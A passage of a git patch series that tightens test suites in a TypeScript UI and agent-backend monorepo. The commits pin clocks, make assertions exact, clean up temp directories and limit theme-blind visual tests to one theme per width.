${theme}`,async()=>{ +for (const theme of ["dark"]) test(`adding the coordinate chip replans labels ${theme}`,async()=>{ const view=await mount(320,theme,{...voyageMap,coordChip:false}); flushSync(()=>root!.render()); const chip=view.querySelector('[data-map-annotation][style*="top: 8px"]')!;expect(chip).not.toBeNull(); diff --git a/packages/ui-kit/tests/visual/meter-label.visual.tsx b/packages/ui-kit/tests/visual/meter-label.visual.tsx index 64ac4452bd..ec454deb01 100644 --- a/packages/ui-kit/tests/visual/meter-label.visual.tsx +++ b/packages/ui-kit/tests/visual/meter-label.visual.tsx @@ -47,7 +47,11 @@ function mount(width: number, theme: string, props: MeterProps) { return { label: label!, track: track!, value: value! }; } +// Storybook owns light and dark parity (docs/process/theme-parity.md); label +// geometry never reads a colour, so each width runs in one theme, alternating. +const widthTheme = (width: number) => ([320, 720].includes(width) ? "dark" : "light"); for (const theme of ["dark", "light"]) for (const width of [320, 390, 720, 1280]) { + if (widthTheme(width) !== theme) continue; for (const tone of tones) { test(`bar ${tone} ${theme} ${width}: label shares the track's leading edge and width`, () => { const { label, track, value } = mount(width, theme, { variant: "bar", tone, gradient: true }); diff --git a/packages/ui-kit/tests/visual/side-rail-targets.visual.tsx b/packages/ui-kit/tests/visual/side-rail-targets.visual.tsx index 2178b957c5..1e78542542 100644 --- a/packages/ui-kit/tests/visual/side-rail-targets.visual.tsx +++ b/packages/ui-kit/tests/visual/side-rail-targets.visual.tsx @@ -100,8 +100,19 @@ function expectWholeAtEnd(item: HTMLElement, scroller: HTMLElement, what: string } } +/** + * Storybook owns light and dark parity (docs/process/theme-parity.md). Target + * geometry, roving and activation never read a colour, so a theme-blind case + * runs in one theme: alternating by width, collapsed dark and expanded light. + * 900px keeps both, because it writes each theme's attachment, as do the cases + * that capture one per theme. + */ +const widthTheme = (width: number) => (width === 900 ? undefined : [320, 480, 1440].includes(width) ? "dark" : "light"); +const railTheme = (expanded: boolean) => (expanded ? "light" : "dark"); + for (const theme of ["dark", "light"]) for (const expanded of [false, true]) { for (const width of [320, 390, 480, 900, 1280, 1440]) { + if ((widthTheme(width) ?? theme) !== theme) continue; test(`rail destinations: ${theme}, ${width}, ${expanded ? "expanded" : "collapsed"}`, async () => { const mode = pointerScene(); const { tabs } = await mount(width, 600, expanded, theme); @@ -119,7 +130,7 @@ for (const theme of ["dark", "light"]) for (const expanded of [false, true]) { geometry(tabs, expanded, mode !== "fine", true); if (mode === "mixed") await page.screenshot({ element: host!, path: `../../.vitest-attachments/side-rail/short-${theme}-${expanded ? "expanded" : "collapsed"}.png` }); }); - test(`rail manual activation: ${theme}, ${expanded ? "expanded" : "collapsed"}`, async () => { + if (railTheme(expanded) === theme) test(`rail manual activation: ${theme}, ${expanded ? "expanded" : "collapsed"}`, async () => { const mode = pointerScene(); const { tabs, callbacks } = await mount(900, 600, expanded, theme); tabs[1]!.focus(); @@ -145,7 +156,7 @@ for (const theme of ["dark", "light"]) for (const expanded of [false, true]) { await userEvent.tab(); expect(host!.querySelector('[role="tablist"]')!.contains(document.activeElement)).toBe(false); }); - test(`short rail scrolling: ${theme}, ${expanded ? "expanded" : "collapsed"}`, async () => { + if (railTheme(expanded) === theme) test(`short rail scrolling: ${theme}, ${expanded ? "expanded" : "collapsed"}`, async () => { const mode = pointerScene(); const { tabs, callbacks } = await mount(900, 280, expanded, theme); // The scrollport is the rail's middle, which holds the tablist (and acts). @@ -248,6 +259,7 @@ const COLLAPSED_NAMES = ["Search the brain", "Add a note", "All commands"]; for (const theme of ["dark", "light"]) for (const expanded of [false, true]) { const names = expanded ? EXPANDED_NAMES : COLLAPSED_NAMES; for (const width of [320, 390, 480, 900, 1280, 1440]) { + if ((widthTheme(width) ?? theme) !== theme) continue; test(`rail acts: ${theme}, ${width}, ${expanded ? "expanded" : "collapsed"}`, async () => { const mode = pointerScene(); const { tabs, actButtons, all } = await mountActs(width, 600, expanded, theme); @@ -267,7 +279,7 @@ for (const theme of ["dark", "light"]) for (const expanded of [false, true]) { }); } - test(`rail acts, 360px tall: ${theme}, ${expanded ? "expanded" : "collapsed"}`, async () => { + if (railTheme(expanded) === theme) test(`rail acts, 360px tall: ${theme}, ${expanded ? "expanded" : "collapsed"}`, async () => { const mode = pointerScene(); const { actButtons, all, palette, actCallbacks } = await mountActs(900, 360, expanded, theme); const rail = host!.querySelector(".bk-side-rail")!; @@ -299,7 +311,7 @@ for (const theme of ["dark", "light"]) for (const expanded of [false, true]) { await expect.poll(() => palette.mock.calls.length, { message: "All commands opens once" }).toBe(1); }); - test(`rail acts keyboard and pointer: ${theme}, ${expanded ? "expanded" : "collapsed"}`, async () => { + if (railTheme(expanded) === theme) test(`rail acts keyboard and pointer: ${theme}, ${expanded ? "expanded" : "collapsed"}`, async () => { const mode = pointerScene(); const { tabs, callbacks, actButtons, actCallbacks, all, palette } = await mountActs(900, 600, expanded, theme); (document.activeElement as HTMLElement | null)?.blur(); @@ -371,7 +383,7 @@ for (const theme of ["dark", "light"]) for (const expanded of [false, true]) { if (mode === "mixed") await page.screenshot({ element: host!, path: `../../.vitest-attachments/side-rail/acts-offline-${theme}.png` }); }); - test(`All commands as the only control, 280px tall: ${theme}, ${expanded ? "expanded" : "collapsed"}`, async () => { + if (railTheme(expanded) === theme) test(`All commands as the only control, 280px tall: ${theme}, ${expanded ? "expanded" : "collapsed"}`, async () => { const mode = pointerScene(); await page.viewport(900, 280); await commands.formViewport(900, 280); @@ -393,7 +405,7 @@ for (const theme of ["dark", "light"]) for (const expanded of [false, true]) { await expect.poll(() => palette.mock.calls.length, { message: "All commands opens once" }).toBe(1); }); - test(`rail acts long labels: ${theme}, ${expanded ? "expanded" : "collapsed"}`, async () => { + if (railTheme(expanded) === theme) test(`rail acts long labels: ${theme}, ${expanded ? "expanded" : "collapsed"}`, async () => { const mode = pointerScene(); const { actButtons, all } = await mountActs(390, 600, expanded, theme, "a turn is running", true); for (const el of [...actButtons, all]) { From b7ee338c77e3733a0325d165fa3b4b935cb49945 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:55:22 +0100 Subject: [PATCH 046/252] test(ui-backend-pi): assert streamed deltas exactly, compare listed session ids, own the turn-temp directory Test-Health: th-20261110184656-6654f8#0 --- packages/ui-backend-pi/tests/api-failure.test.ts | 2 +- packages/ui-backend-pi/tests/history.test.ts | 2 +- packages/ui-backend-pi/tests/worker-session.test.ts | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/packages/ui-backend-pi/tests/api-failure.test.ts b/packages/ui-backend-pi/tests/api-failure.test.ts index 0155e2a591..8a0428e1ba 100644 --- a/packages/ui-backend-pi/tests/api-failure.test.ts +++ b/packages/ui-backend-pi/tests/api-failure.test.ts @@ -137,7 +137,7 @@ describe("a pi provider failure ends the turn as a failure", () => { test("a partial answer before the failure is still streamed", async () => { const frames = await runTurn([textDelta("Half an "), assistantEnd("error", { errorMessage: "connection reset" })]); - expect(frames.some((frame) => frame.type === "text_delta" && frame.text === "Half an ")).toBe(true); + expect(frames.flatMap((frame) => (frame.type === "text_delta" ? [frame.text] : []))).toEqual(["Half an "]); const result = terminal(frames); // No status in the text: none is claimed. expect(result.failure).toEqual({ errorClass: "unknown", message: "connection reset" }); diff --git a/packages/ui-backend-pi/tests/history.test.ts b/packages/ui-backend-pi/tests/history.test.ts index 90cd0f927b..e2bf8f75ff 100644 --- a/packages/ui-backend-pi/tests/history.test.ts +++ b/packages/ui-backend-pi/tests/history.test.ts @@ -112,7 +112,7 @@ describe("SessionManager-backed history", () => { test("listPiSessions returns the created session", async () => { const sessions = await listPiSessions(cwd, sessionDir); - expect(sessions.some((s) => s.id === sessionId)).toBe(true); + expect(sessions.map((s) => s.id)).toContain(sessionId); }); test("getPiHistory normalizes the active branch", async () => { diff --git a/packages/ui-backend-pi/tests/worker-session.test.ts b/packages/ui-backend-pi/tests/worker-session.test.ts index a4c6002b3a..98fad769d1 100644 --- a/packages/ui-backend-pi/tests/worker-session.test.ts +++ b/packages/ui-backend-pi/tests/worker-session.test.ts @@ -142,6 +142,7 @@ test("turn-temp promotion preserves native answer bytes and reloads promoted UI const answer = "The voyage report is [ready](/tmp/brain-worker-scratch/report.pdf). Not [this](/tmp/brain-worker-scratch/pi-state/auth.json)."; // Stands in for the worker's private /tmp, as the server holds it (#1703). const tmp = mkdtempSync(join(tmpdir(), "pi-turn-temp-")); + children.push(() => rmSync(tmp, { recursive: true, force: true })); mkdirSync(join(brain,".brain/scratch"),{recursive:true}); writeFileSync(join(brain,".gitignore"),".brain/scratch/\n"); const scratchReader = createFixtureWorkerStartupView(brain); @@ -203,7 +204,6 @@ test("turn-temp promotion preserves native answer bytes and reloads promoted UI // its admission is released. expect(closed).toBe(1); expect(worker.processStateLedger().turnTempHeld).toBe(0); - rmSync(tmp, { recursive: true, force: true }); }); test("Pi releases a turn's turn-temp reservation only once its awaited close confirms, and retries an unconfirmed close (#2854)", async () => { const base = launch.getMockImplementation()!; From 4f9ebb3d8d59856459c8b2cfa6670a44400584d1 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:57:55 +0100 Subject: [PATCH 047/252] test(ui-backend-pi): poll for the queued timers instead of sleeping, pin the probed SDK name, compare rosters and context files Test-Health: th-20261110184656-6654f8#1 --- packages/ui-backend-pi/tests/autonomous-yield.test.ts | 5 ++++- packages/ui-backend-pi/tests/extension-inspection.test.ts | 4 ++-- packages/ui-backend-pi/tests/policy-membership.test.ts | 2 +- 3 files changed, 7 insertions(+), 4 deletions(-) diff --git a/packages/ui-backend-pi/tests/autonomous-yield.test.ts b/packages/ui-backend-pi/tests/autonomous-yield.test.ts index 58ead86f3d..56bf55115d 100644 --- a/packages/ui-backend-pi/tests/autonomous-yield.test.ts +++ b/packages/ui-backend-pi/tests/autonomous-yield.test.ts @@ -70,7 +70,10 @@ test("Pi's real toolkit and runner checkpoint before abort, drain the actual wri autonomous: { origin: "autonomous", persistence: "none", allowedTools: ["brain_add"], systemPromptAppend: "", onYield: () => { signals++; expect(lock.locked).toBe(true); } } }).then(() => { autonomousFinished = true; }); await acquired; - const foreground = start(request); await Bun.sleep(20); + const foreground = start(request); + // The queued foreground registers its yield and wait timers on the fake clock. + for (const deadline = Date.now() + 3_000; callbacks.size < 2 && Date.now() < deadline;) await Bun.sleep(1); + expect([...callbacks.values()].map((timer) => timer.at).sort()).toEqual([20_000, 30_000]); try { time = 20_000; for (const [id, timer] of callbacks) if (timer.at <= time) { callbacks.delete(id); timer.fn(); } diff --git a/packages/ui-backend-pi/tests/extension-inspection.test.ts b/packages/ui-backend-pi/tests/extension-inspection.test.ts index f196168033..2a835d2507 100644 --- a/packages/ui-backend-pi/tests/extension-inspection.test.ts +++ b/packages/ui-backend-pi/tests/extension-inspection.test.ts @@ -71,7 +71,7 @@ test("the curated default loads no extension and keeps skills and context files" expect([loaded.extensions.length, loaded.errors.length], "PI_CURATED_LOADS_NO_EXTENSION").toEqual([0, 0]); expect(existsSync(sentinel), "PI_CURATED_RAN_NO_EXTENSION").toBe(false); expect(loader.getSkills().skills.map(skill => skill.name), "PI_CURATED_KEEPS_SKILLS").toContain("chart-the-voyage"); - expect(loader.getAgentsFiles().agentsFiles.some(file => file.content.includes("Penelope keeps the loom")), "PI_CURATED_KEEPS_CONTEXT").toBe(true); + expect(loader.getAgentsFiles().agentsFiles.map(file => file.content), "PI_CURATED_KEEPS_CONTEXT").toContainEqual(expect.stringContaining("Penelope keeps the loom")); }); /** A stand-in backend that records whether a turn reached it. */ @@ -139,7 +139,7 @@ async function hosted(config: Record) { test("hosted curated default discloses inactive extensions at startup and keeps Pi available", async () => { const { report, logs, backend } = await hosted({}); - expect(report.sdk?.name, "PI_PROBE_STILL_REPORTS_SDK").toBeTruthy(); + expect(report.sdk?.name, "PI_PROBE_STILL_REPORTS_SDK").toBe("@earendil-works/pi-coding-agent"); expect(logs.some(line => line.includes("installed but inactive") && line.includes("loom.ts") && line.includes("aeolus.ts")), "PI_STARTUP_NAMES_INACTIVE").toBe(true); expect(await backend.listUnavailableProfiles!(), "PI_CURATED_REPORTS_NONE").toEqual([]); expect((await backend.listProfiles()).map(profile => profile.id), "PI_CURATED_LISTS_PROFILES").toEqual(["argo"]); diff --git a/packages/ui-backend-pi/tests/policy-membership.test.ts b/packages/ui-backend-pi/tests/policy-membership.test.ts index 893e4d9e11..7fc24a850c 100644 --- a/packages/ui-backend-pi/tests/policy-membership.test.ts +++ b/packages/ui-backend-pi/tests/policy-membership.test.ts @@ -15,6 +15,6 @@ for (const mode of ["interactive", "voice", "autonomous"] as const) test(`pi pol ...(mode === "autonomous" ? { autonomous: { allowedTools: [], systemPromptAppend: "Autonomous." } as never } : {}) }; const { entry } = await pool.acquire(req); const names = createPiBridgeTools({ brainPath: ".", turn: entry.turnContext, capabilities: observed!.caps }).map(tool => tool.name); - expect(names.includes("propose_policy_change")).toBe(mode !== "autonomous"); + expect(names.filter(name => name === "propose_policy_change")).toEqual(mode === "autonomous" ? [] : ["propose_policy_change"]); expect(DEFAULT_PI_ALLOWED_TOOLS).not.toContain("propose_policy_change"); pool.finish(entry); }); From c39af70365deebe80dc3eb8bcd18f6ff42c6e5af Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:58:37 +0100 Subject: [PATCH 048/252] test(core): pin the clock the briefing audit-count children read Test-Health: th-20261110163736-83b662#10 --- packages/core/tests/briefing-audit-count.test.ts | 16 +++++++++++----- packages/core/tests/briefing.test.ts | 6 +++--- 2 files changed, 14 insertions(+), 8 deletions(-) diff --git a/packages/core/tests/briefing-audit-count.test.ts b/packages/core/tests/briefing-audit-count.test.ts index 93dc102485..af87df2745 100644 --- a/packages/core/tests/briefing-audit-count.test.ts +++ b/packages/core/tests/briefing-audit-count.test.ts @@ -4,11 +4,18 @@ import { existsSync, mkdirSync, writeFileSync } from "fs"; import { join } from "path"; import type { AuditIssue } from "../src/lib/types"; import { cleanup, makeTempBrain, runCli } from "./cli-harness"; +import { hygieneCliClock } from "./hygiene-clock"; const roots: string[] = []; afterAll(() => { for (const root of roots) cleanup(root); }); -const today = new Date().toISOString().slice(0, 10); +// Audit and briefing both read the clock: pin it in the children, so a run +// that crosses midnight cannot change "0 day(s) ago" or a stale count. +const today = "2026-07-12"; +const NOW = `${today}T12:00:00Z`; +const clockScratch = makeTempBrain({ empty: true }); +roots.push(clockScratch); +const runAt = hygieneCliClock(clockScratch); const note = (body: string) => `--- type: note title: Odysseus's mast notes @@ -35,13 +42,13 @@ async function indexed(files: Record, fromCorpus = false): Promi } async function auditOutput(root: string): Promise<{ issues: AuditIssue[]; errors: number; warnings: number; infos: number; mustFix: number }> { - const result = await runCli(root, ["audit", "--json"]); + const result = await runAt(root, ["audit", "--json"], NOW); expect(result.code).toBe(0); return JSON.parse(result.stdout); } async function briefingOutput(root: string): Promise { - const result = await runCli(root, ["briefing"]); + const result = await runAt(root, ["briefing"], NOW); expect(result.code).toBe(0); return result.stdout; } @@ -63,8 +70,7 @@ describe("briefing audit count", () => { const audited = await auditOutput(root); expect(audited.mustFix).toBeGreaterThan(0); expect(audited.infos).toBeGreaterThan(0); - expect(audited.issues.some((issue) => issue.category === "todo")).toBe(true); - expect(audited.issues.some((issue) => issue.category === "verify")).toBe(true); + expect(audited.issues.map((issue) => issue.category)).toEqual(expect.arrayContaining(["todo", "verify"])); expect(audited.mustFix).toBe(audited.errors + audited.warnings); const briefing = await briefingOutput(root); expect(briefing).toContain(mustFixLine(audited.mustFix)); diff --git a/packages/core/tests/briefing.test.ts b/packages/core/tests/briefing.test.ts index 6e454d9155..6cdaf936f6 100644 --- a/packages/core/tests/briefing.test.ts +++ b/packages/core/tests/briefing.test.ts @@ -156,7 +156,7 @@ describe("Overdue Reviews", () => { test("reviewLimit overrides the cap", async () => { const lines = section(await brief(await makeBrain(SEVEN), { reviewLimit: 7 }), "Overdue Reviews"); expect(lines).toHaveLength(7); - expect(lines.some((l) => l.includes("more (brain audit)"))).toBe(false); + expect(lines.filter((l) => l.includes("more (brain audit)"))).toEqual([]); }); test("--limit-reviews reaches the briefing, and must be a non-negative integer", async () => { @@ -232,8 +232,8 @@ describe("review round 1", () => { .map((i) => i.path) ); const omitted = [1, 2].map((n) => `notes/r${n}.md`); - expect(listed.some((l) => omitted.some((p) => l.includes(p)))).toBe(false); - for (const path of omitted) expect(audited.has(path)).toBe(true); + expect(listed.filter((l) => omitted.some((p) => l.includes(p)))).toEqual([]); + expect([...audited]).toEqual(expect.arrayContaining(omitted)); }); test("open entries inside a longer fence, or after a fake closing line, are not counted", async () => { From 214b4a1e7b88dd2b7b0f7b0a1e89629d1ad00307 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:00:43 +0100 Subject: [PATCH 049/252] test(ui-backend-claude): pin the billing-policy violation a credential-free profile reports without a subscription Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110180830-ff27e0#6 --- .../ui-backend-claude/tests/subscription-billing.test.ts | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/packages/ui-backend-claude/tests/subscription-billing.test.ts b/packages/ui-backend-claude/tests/subscription-billing.test.ts index d6faceb423..93dda17aa5 100644 --- a/packages/ui-backend-claude/tests/subscription-billing.test.ts +++ b/packages/ui-backend-claude/tests/subscription-billing.test.ts @@ -232,8 +232,11 @@ describe("a profile without its own credential bills the subscription", () => { const fixture = arrange({}); const { frames, activity } = await runTurn(fixture); // Refused before init, the run still records what it would have billed (#211). - expect(runtimeReport(activity)?.billing).not.toBe("subscription"); - expect(runtimeReport(activity)?.policyViolation).toBeDefined(); + expect(runtimeReport(activity)).toMatchObject({ + billing: "unknown", + policy: "subscription", + policyViolation: "a profile without its own credential ran on a credential that is not a recognised subscription", + }); expect(seen).toEqual([]); expectAuthFailure(frames); From 7802f8ba63c04b0d51be16884e47f13035000b80 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:01:33 +0100 Subject: [PATCH 050/252] test(ui-server): internal-mount route checks print the routes they compare Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#3 --- packages/ui-server/tests/http-internal-mounts.test.ts | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/packages/ui-server/tests/http-internal-mounts.test.ts b/packages/ui-server/tests/http-internal-mounts.test.ts index 0b20593c85..4ef0ef45db 100644 --- a/packages/ui-server/tests/http-internal-mounts.test.ts +++ b/packages/ui-server/tests/http-internal-mounts.test.ts @@ -6,7 +6,7 @@ import { documentedRoutes } from "./helpers/http-spec"; // their presentation/configuration payloads to independent HTTP contracts. for (const path of ["/api/governance/roadblocks", "/api/pi-auth/providers", "/api/web-search", "/api/apify", "/api/tool-permissions", "/api/skills", "/api/graph/meta", "/api/vpn-check"]) { test(`mounted internal router: GET ${path}`, async () => { - expect(documentedRoutes.some((r) => r.method === "GET" && r.path === path && r.classification === "I")).toBe(true); + expect(documentedRoutes.filter((r) => r.path === path).map((r) => [r.method, r.classification])).toContainEqual(["GET", "I"]); const t = await httpContractApp(); try { const response = await t.fetch(path); @@ -23,7 +23,7 @@ import { join } from "node:path"; for (const operation of ["POST /api/track-upload", "GET /api/tracks"]) test(`mounted internal track handler: ${operation}`, async () => { const [method, path] = operation.split(" "); - expect(documentedRoutes.some(route => route.method === method && route.path === path && route.classification === "I")).toBe(true); + expect(documentedRoutes.filter(route => route.path === path).map(route => [route.method, route.classification])).toContainEqual([method, "I"]); const t = await httpContractApp(); const source = ''; try { @@ -49,7 +49,7 @@ import { createPrincipal } from "../src/db/principals"; // marker if anything ran them. test("retired POST /api/brain/whatsup is absent behind authentication and runs no repo-local script", async () => { const secret = "http-retired-fixture-secret-0123456789"; - expect(documentedRoutes.some((r) => r.path === "/api/brain/whatsup")).toBe(false); + expect(documentedRoutes.filter((r) => r.path === "/api/brain/whatsup")).toEqual([]); const t = await httpContractApp({ env: { AUTH_MODE: "password", BRAIN_UI_PASSWORD_HASH: "unused-fixture-hash", COOKIE_SECRET: secret, BRAIN_UI_ALLOW_LOOPBACK_ORIGIN: "1" } }); try { const marker = join(t.root, "whatsup-ran"); @@ -70,7 +70,7 @@ test("retired POST /api/brain/whatsup is absent behind authentication and runs n const retired = await t.fetch("/api/brain/whatsup", { method: "POST", headers }); expect(retired.status).toBe(404); expect(retired.headers.get("content-type") ?? "").not.toContain("text/event-stream"); - expect(t.routes.some((r) => r.path === "/api/brain/whatsup")).toBe(false); + expect(t.routes.filter((r) => r.path === "/api/brain/whatsup")).toEqual([]); await new Promise((resolve) => setTimeout(resolve, 200)); expect(existsSync(marker)).toBe(false); } finally { await t.close(); } From 531b28f9c3ea8336bac3ce07baf11b7e2f38af4f Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:02:43 +0100 Subject: [PATCH 051/252] test(core): the harness cleanup check names the directory that escaped Test-Health: th-20261110163736-83b662#13 --- packages/core/tests/cli-harness-host-isolation.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/core/tests/cli-harness-host-isolation.test.ts b/packages/core/tests/cli-harness-host-isolation.test.ts index d711743600..d5a8e0b9ff 100644 --- a/packages/core/tests/cli-harness-host-isolation.test.ts +++ b/packages/core/tests/cli-harness-host-isolation.test.ts @@ -62,7 +62,7 @@ for (const mode of ["success", "failure", "shared", "standalone"] as const) { for (const receipt of receipts) { expect(receipt.code).toBe(0); expect(receipt.dirs).toHaveLength(3); - for (const dir of receipt.dirs) expect(dir.startsWith(`${ownedTemp}/`)).toBe(true); + for (const dir of receipt.dirs) expect(dir).toStartWith(`${ownedTemp}/`); } if (mode === "shared") expect(receipts[1]!.dirs).toEqual(receipts[0]!.dirs); expect(existsSync(keep), "cleanup must preserve unrelated temporary entries").toBe(true); From 4b1ac8c4e498d645bd8161a081c0da49a85f4b81 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:03:14 +0100 Subject: [PATCH 052/252] test(ui-react): tracker runtime names a low-space fixture filesystem Refs #2551: requireTurnFreeSpace(brain) right after the fixture brain is created, so a filesystem below the turn floor fails with TurnFixtureFreeSpaceError instead of a 15 s tracker timeout. Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110183038-0543ec#0 --- packages/ui-react/tests/tracker-runtime.test.ts | 2 ++ 1 file changed, 2 insertions(+) diff --git a/packages/ui-react/tests/tracker-runtime.test.ts b/packages/ui-react/tests/tracker-runtime.test.ts index 5c04945025..cb71ee40bc 100644 --- a/packages/ui-react/tests/tracker-runtime.test.ts +++ b/packages/ui-react/tests/tracker-runtime.test.ts @@ -8,6 +8,7 @@ import { resolve } from "node:path"; import { chromium, type Browser, type BrowserContextOptions, type Page } from "playwright"; import { createRecordingObservability, createStaticBackendRegistry, resolveServerConfig } from "@schlessera/brain-ui-server"; import { createFixtureApp as createApp } from "../../ui-server/tests/helpers/native-app-fixture.js"; +import { requireTurnFreeSpace } from "../../ui-server/tests/helpers/turn-free-space.js"; import type { SessionHistoryMessage } from "@schlessera/brain-ui-sdk/protocol"; import type { AgentBackend } from "@schlessera/brain-ui-sdk/server"; import { createFixtureBrain } from "../../../scripts/captures/core-fixture.ts"; @@ -45,6 +46,7 @@ beforeAll(async () => { scratch = await mkdtemp(resolve(tmpdir(), "odysseus-trackers-")); const brain = resolve(scratch, "brain"); await createFixtureBrain(repo, brain); + requireTurnFreeSpace(brain); const assets = resolve(scratch, "client"); await mkdir(assets); const bundle = Bun.spawn([process.execPath, "-e", 'const result = await Bun.build({entrypoints:[process.argv[1]],target:"browser",outdir:process.argv[2],naming:"client.js"}); if(!result.success){console.error(result.logs);process.exit(1);}', resolve(import.meta.dir, "fixtures/tracker-runtime-client.ts"), assets], { cwd: repo, stdout: "pipe", stderr: "pipe" }); From 8bb7c80f36b5245206945604d94d3b5e2e99490c Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:03:56 +0100 Subject: [PATCH 053/252] test(ui-kit): turn failure cards run colour-blind cases in one theme per width Test-Health: th-20261110180640-b26dac#6 --- .../ui-kit/tests/visual/turn-error.visual.tsx | 4 ++++ .../turn-failure-observations.visual.tsx | 19 ++++++++++++------- 2 files changed, 16 insertions(+), 7 deletions(-) diff --git a/packages/ui-kit/tests/visual/turn-error.visual.tsx b/packages/ui-kit/tests/visual/turn-error.visual.tsx index c49fc53a9f..c9cec114b9 100644 --- a/packages/ui-kit/tests/visual/turn-error.visual.tsx +++ b/packages/ui-kit/tests/visual/turn-error.visual.tsx @@ -34,7 +34,11 @@ const button = (within: ParentNode, label: string) => [...within.querySelectorAl const ERROR_CLASSES = ["authentication_failed", "oauth_org_not_allowed", "account_on_hold", "billing_error", "subscription_required", "rate_limit", "overloaded", "server_error", "invalid_request", "model_not_found", "max_output_tokens", "unknown"]; +// Storybook owns light and dark parity (docs/process/theme-parity.md). Wrapping, +// action reach and announcements never read a colour, so each width runs in +// one theme: dark at 320, light at 860. for (const theme of ["dark", "light"]) for (const width of [320, 860]) { + if ((width === 320) !== (theme === "dark")) continue; // Each class is its own test: twelve sequential browser interactions in // one test can exhaust the timeout when the whole Storybook suite runs. for (const errorClass of ERROR_CLASSES) test(`${theme} ${width} ${errorClass}: wraps, has reachable actions, and announces live arrival`, async () => { diff --git a/packages/ui-kit/tests/visual/turn-failure-observations.visual.tsx b/packages/ui-kit/tests/visual/turn-failure-observations.visual.tsx index 602763a83a..1c5299d0df 100644 --- a/packages/ui-kit/tests/visual/turn-failure-observations.visual.tsx +++ b/packages/ui-kit/tests/visual/turn-failure-observations.visual.tsx @@ -118,8 +118,13 @@ const retryFrames = () => socket.frames().filter(frame => frame.type === "retry_ const retryValue = (card: HTMLElement) => [...card.querySelectorAll(".bk-turn-error-facts span")] .find(node => node.textContent === "retries")?.nextElementSibling?.textContent; +// Storybook owns light and dark parity (docs/process/theme-parity.md). These +// cases drive the real store and decoder and never read a colour, so each width +// runs in one theme, dark at 320 and light at 860. The expiry case keeps both: +// it writes each theme's attachments. +const oneTheme = (width: number) => (width === 320 ? "dark" : "light"); for (const theme of ["dark", "light"]) for (const width of [320, 860]) { - test(`${theme} ${width}: a retained failure card withdraws its replayed announcement`, async () => { + if (oneTheme(width) === theme) test(`${theme} ${width}: a retained failure card withdraws its replayed announcement`, async () => { await page.viewport(width, 1000); mount(width, theme); const failure = { errorClass: "rate_limit" as const, message: "Reported limit", attempts: 2 }; flushSync(() => { @@ -144,7 +149,7 @@ for (const theme of ["dark", "light"]) for (const width of [320, 860]) { expect(root!.stores.chat.getState().buffers[SESSION].messages.at(-1)!.failure, "the retained card keeps the host's failure").toEqual(failure); }); - test(`${theme} ${width}: observed retries agree live and replay; unknown values stay absent`, async () => { + if (oneTheme(width) === theme) test(`${theme} ${width}: observed retries agree live and replay; unknown values stay absent`, async () => { await page.viewport(width, 1000); mount(width, theme); const failure = { errorClass: "rate_limit", status: 429, message: "Reported limit", attempts: 2, resetsAt: NOW + 40_000 }; @@ -203,7 +208,7 @@ for (const theme of ["dark", "light"]) for (const width of [320, 860]) { expect(action(cards()[0], "Retry")).toBeUndefined(); }); - test(`${theme} ${width}: replay retains the absolute reset rather than restarting or erasing it`, async () => { + if (oneTheme(width) === theme) test(`${theme} ${width}: replay retains the absolute reset rather than restarting or erasing it`, async () => { await page.viewport(width, 1000); mount(width, theme); const resetsAt = NOW + 3250; @@ -239,7 +244,7 @@ for (const theme of ["dark", "light"]) for (const width of [320, 860]) { expect(action(cards()[0], "Retry")?.getAttribute("aria-disabled")).not.toBe("true"); }); - test(`${theme} ${width}: multiple failures retain their observations after a later success`, async () => { + if (oneTheme(width) === theme) test(`${theme} ${width}: multiple failures retain their observations after a later success`, async () => { await page.viewport(width, 1000); mount(width, theme); live({ errorClass: "server_error", message: "First failure", attempts: 2, resetsAt: NOW + 20_000 }); @@ -265,7 +270,7 @@ for (const theme of ["dark", "light"]) for (const width of [320, 860]) { for (const card of cards()) expect(action(card, "Retry")).toBeUndefined(); }); - test(`${theme} ${width}: expiry preserves pending and uncertain delivery reconciliation`, async () => { + if (oneTheme(width) === theme) test(`${theme} ${width}: expiry preserves pending and uncertain delivery reconciliation`, async () => { await page.viewport(width, 1000); mount(width, theme); live({ errorClass: "rate_limit", message: "Reported limit", resetsAt: NOW + 2000 }); @@ -287,7 +292,7 @@ for (const theme of ["dark", "light"]) for (const width of [320, 860]) { expect(retryFrames()).toHaveLength(1); }); - test(`${theme} ${width}: future resets keep delivery checks available without sending a retry`, async () => { + if (oneTheme(width) === theme) test(`${theme} ${width}: future resets keep delivery checks available without sending a retry`, async () => { await page.viewport(width, 1000); mount(width, theme); live({ errorClass: "rate_limit", message: "Reported limit", resetsAt: NOW + 5000 }); @@ -306,7 +311,7 @@ for (const theme of ["dark", "light"]) for (const width of [320, 860]) { expect(retryFrames()).toHaveLength(0); }); - test(`${theme} ${width}: pi observations with no reset and expired resets add no wait`, async () => { + if (oneTheme(width) === theme) test(`${theme} ${width}: pi observations with no reset and expired resets add no wait`, async () => { await page.viewport(width, 1000); mount(width, theme, "pi"); live({ errorClass: "server_error", message: "Reported retries", attempts: 2 }); From b6006675d04e6ff65350940897a21d0db919826d Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:05:28 +0100 Subject: [PATCH 054/252] test(ui-backend-pi): observe the relay's upstream and key in the autonomous envelope override test Test-Health: th-20261110184656-6654f8#3 --- .../tests/autonomous-envelope.test.ts | 20 ++++++++++++++----- 1 file changed, 15 insertions(+), 5 deletions(-) diff --git 